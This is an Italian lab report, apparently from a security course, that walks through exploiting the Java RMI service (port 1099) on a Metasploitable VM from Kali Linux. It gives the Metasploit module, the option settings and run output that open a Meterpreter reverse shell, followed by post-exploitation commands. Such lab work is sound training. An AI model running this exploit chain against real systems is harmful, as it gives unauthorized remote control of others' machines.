

Relazione Java RMI – vulnerabilità 1099

Nella seguente immagine e come primo passaggio, configuro la rete sulla macchina attaccante Kali Linux, come richiesto dal progetto, con i comandi specifici, come di seguito:

- `sudo nano /etc/network/interface`
- `sudo ip addr add 192.168.11.111/24 dev eth0`

```
(kali@kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:6b:c6:d1 brd ff:ff:ff:ff:ff:ff
    inet 192.168.50.150/24 brd 192.168.50.255 scope global dynamic noprefixroute eth0
        valid_lft 3887sec preferred_lft 3887sec
    inet 192.168.11.111/24 scope global eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::bb5:62b7:1cc4:3887/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
```

Come fatto nella precedente immagine, con Kali Linux, procedo con la configurazione di rete sulla macchina vittima Metasploitable, con gli stessi comandi, utilizzati in precedenza

- `sudo nano /etc/network/interface`
- `sudo ip addr add 192.168.11.112/24 dev eth0`

```
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:8f:f3:36 brd ff:ff:ff:ff:ff:ff
    inet 192.168.50.162/24 brd 192.168.50.255 scope global eth0
    inet 192.168.11.112/24 scope global eth0
    inet6 fe80::a00:27ff:fe8f:f336/64 scope link
        valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$
```

Nella seguente immagine avvio la piattaforma Metasploit con il comando:

- **Msfconsole**

Successivamente all'avvio di Metasploit usiamo il comando per la scansione delle reti attive:

- **sudo arp-scan 192.168.11.0/24**

rete attiva: **192.168.11.112 (rete configurata in precedenza)**

```
(kali@kali)-[~]
$ msfconsole
Metasploit tip: View missing module options with show missing

File System
VBox - CAs
Exercise

+ -- ==[ metasploit v6.4.18-dev ]
+ -- ==[ 2437 exploits - 1255 auxiliary - 429 post ]
+ -- ==[ 1468 payloads - 47 encoders - 11 nops ]
+ -- ==[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > sudo arp-scan 192.168.11.0/24
[*] exec: sudo arp-scan 192.168.11.0/24

Interface: eth0, type: EN10MB, MAC: 08:00:27:6b:c6:d1, IPv4: 192.168.50.150
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.11.112 08:00:27:8f:f3:36 (Unknown)

1 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.064 seconds (124.03 hosts/sec). 1 responded
```

Nel prossimo passaggio e nell'immagine seguente, utilizzo il comando specifico per ricercare il metodo da utilizzare:

- **search java rmi**

```
msf6 > search java rmi

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce	2019-05-22	excellent	Yes	Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE
1	exploit/multi/http/crushftp_rce_cve_2023_43177	2023-08-08	excellent	Yes	CrushFTP Unauthenticated RCE
2	target: Java
3	target: Linux Dropper
4	target: Windows Dropper
5	exploit/multi/misc/java_jmx_server	2013-05-22	excellent	Yes	Java JMX Server Insecure Configuration Java Code Execution
6	auxiliary/scanner/misc/java_jmx_server	2013-05-22	normal	No	Java JMX Server Insecure Endpoint Code Execution Scanner
7	auxiliary/gather/java_rmi_registry	.	normal	No	Java RMI Registry Interfaces Enumeration
8	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
9	target: Generic (Java Payload)
10	target: Windows x86 (Native Payload)
11	target: Linux x86 (Native Payload)
12	target: Mac OS X PPC (Native Payload)
13	target: Mac OS X x86 (Native Payload)
14	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
15	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIConnectionImpl Deserialization Privilege Escalation
16	exploit/multi/browser/java_signed_applet	1997-02-19	excellent	No	Java Signed Applet Social Engineering Code Execution
17	target: Generic (Java Payload)
18	target: Windows x86 (Native Payload)
19	target: Linux x86 (Native Payload)
20	target: Mac OS X PPC (Native Payload)
21	target: Mac OS X x86 (Native Payload)
22	exploit/multi/http/jenkins_metaprogramming	2019-01-08	excellent	Yes	Jenkins ACL Bypass and Metaprogramming RCE
23	target: Unix In-Memory
24	target: Java Dropper
25	exploit/linux/misc/jenkins_java_deserialize	2015-11-18	excellent	Yes	Jenkins CLI RMI Java Deserialization Vulnerability
26	exploit/linux/http/kibana_timelion_prototype_pollution_rce	2019-10-30	manual	Yes	Kibana Timelion Prototype Pollution RCE
27	exploit/multi/browser/firefox_xpi_bootstrapped_addon	2007-06-27	excellent	No	Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution
28	target: Universal (JavaScript XPCOM Shell)
29	target: Native Payload
30	exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315	2023-05-26	excellent	Yes	Openfire authentication bypass with RCE plugin
31	exploit/multi/http/torchserver_cve_2023_43654	2023-10-03	excellent	Yes	PyTorch Model Server Registration and Deserialization RCE
32	exploit/multi/http/totaljs_cms_widget_exec	2019-08-30	excellent	Yes	Total.js CMS 12 Widget JavaScript Code Injection
33	target: Total.js CMS on Linux
34	target: Total.js CMS on Mac
35	exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc	2021-09-21	manual	Yes	VMware vCenter vScalePriv Priv Esc
36	exploit/multi/misc/vscode_ipynb_remote_dev_exec	2022-11-22	excellent	Yes	VSCode ipynb Remote Development RCE
37	target: Windows
38	target: Linux File-Dropper

Nell'immagine seguente dopo aver trovato il metodo da utilizzare con search, utilizzo il comando specifico, per attivare l'exploit e per vedere le opzioni di configurazioni utilizzo il comando specifico:

- **use exploit/multi/misc/java_rmi_server**
- **msf6 > exploit(multi/misc/java_rmi_server)**
- **show options**

```
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                           |
|-----------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                           |
| RHOSTS    |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                                |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                 |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                          |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                      |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                   |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.50.150  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |



View the full module info with the info, or info -d command.
msf6 exploit(multi/misc/java_rmi_server) >
```

Successivamente all'utilizzo di use per attivare l'exploit, utilizzo il comando specifico, per la configurazione ed il collegamento alla macchina vittima:

- **set RHOST 192.168.11.112**
- **set LHOST 192.168.11.111**

Per far si che l'exploit vado a buon fine, devo cambiare il settaggio dell'http:

- **set httpdelay 20 (in precedenza HTTPDELAY 10)**

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > set LHOST 192.168.11.111
LHOST => 192.168.11.111
msf6 exploit(multi/misc/java_rmi_server) > set Httpdelay 20
Httpdelay => 20
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                           |
|-----------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 20              | yes      | Time that the HTTP Server will wait for the payload request                                                                           |
| RHOSTS    | 192.168.11.112  | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                                |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                 |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                          |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                      |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                   |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |



View the full module info with the info, or info -d command.
msf6 exploit(multi/misc/java_rmi_server) >
```

Dopo aver configurato e settato **RHOST**, **LHOST** e aver cambiato l'**HTTPDELAY** da **10** a **20**, come visto in precedenza, possiamo lanciare l'attacco con il comando specifico:

- `msf6 > exploit(multi/misc/java_rmi_server)`

Alla fine del procedimento dell'attacco, se tutto è andato a buon fine, possiamo utilizzare **meterpreter** per gestire la macchina vittima

```
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/1ZdndMbx4WmqI
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:55861) at 2024-09-27 05:11:09 -0400

meterpreter > |
```

In conclusione al nostro attacco a Metasploitable, utilizziamo i comandi specifici per la **configurazione di rete** e per visualizzare le info sulla tabella di **routing** della macchina vittima

Per la configurazione di rete, utilizziamo il seguente comando:

- `meterpreter > ifconfig (Interface 1, Interface 2)`

```
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/1ZdndMbx4WmqI
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:55861) at 2024-09-27 05:11:09 -0400

meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.50.162
IPv4 Netmask : 255.255.255.0
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe8f:f336
IPv6 Netmask : ::

meterpreter > |
```


Per la visualizzazione delle info sulla tabella di routing, utilizziamo il seguente comando:

- meterpreter > **route**

```
meterpreter > route

IPv4 network routes
=====
```

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		
192.168.50.162	255.255.255.0	0.0.0.0		

```


IPv6 network routes
=====
```

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fe8f:f336	::	::		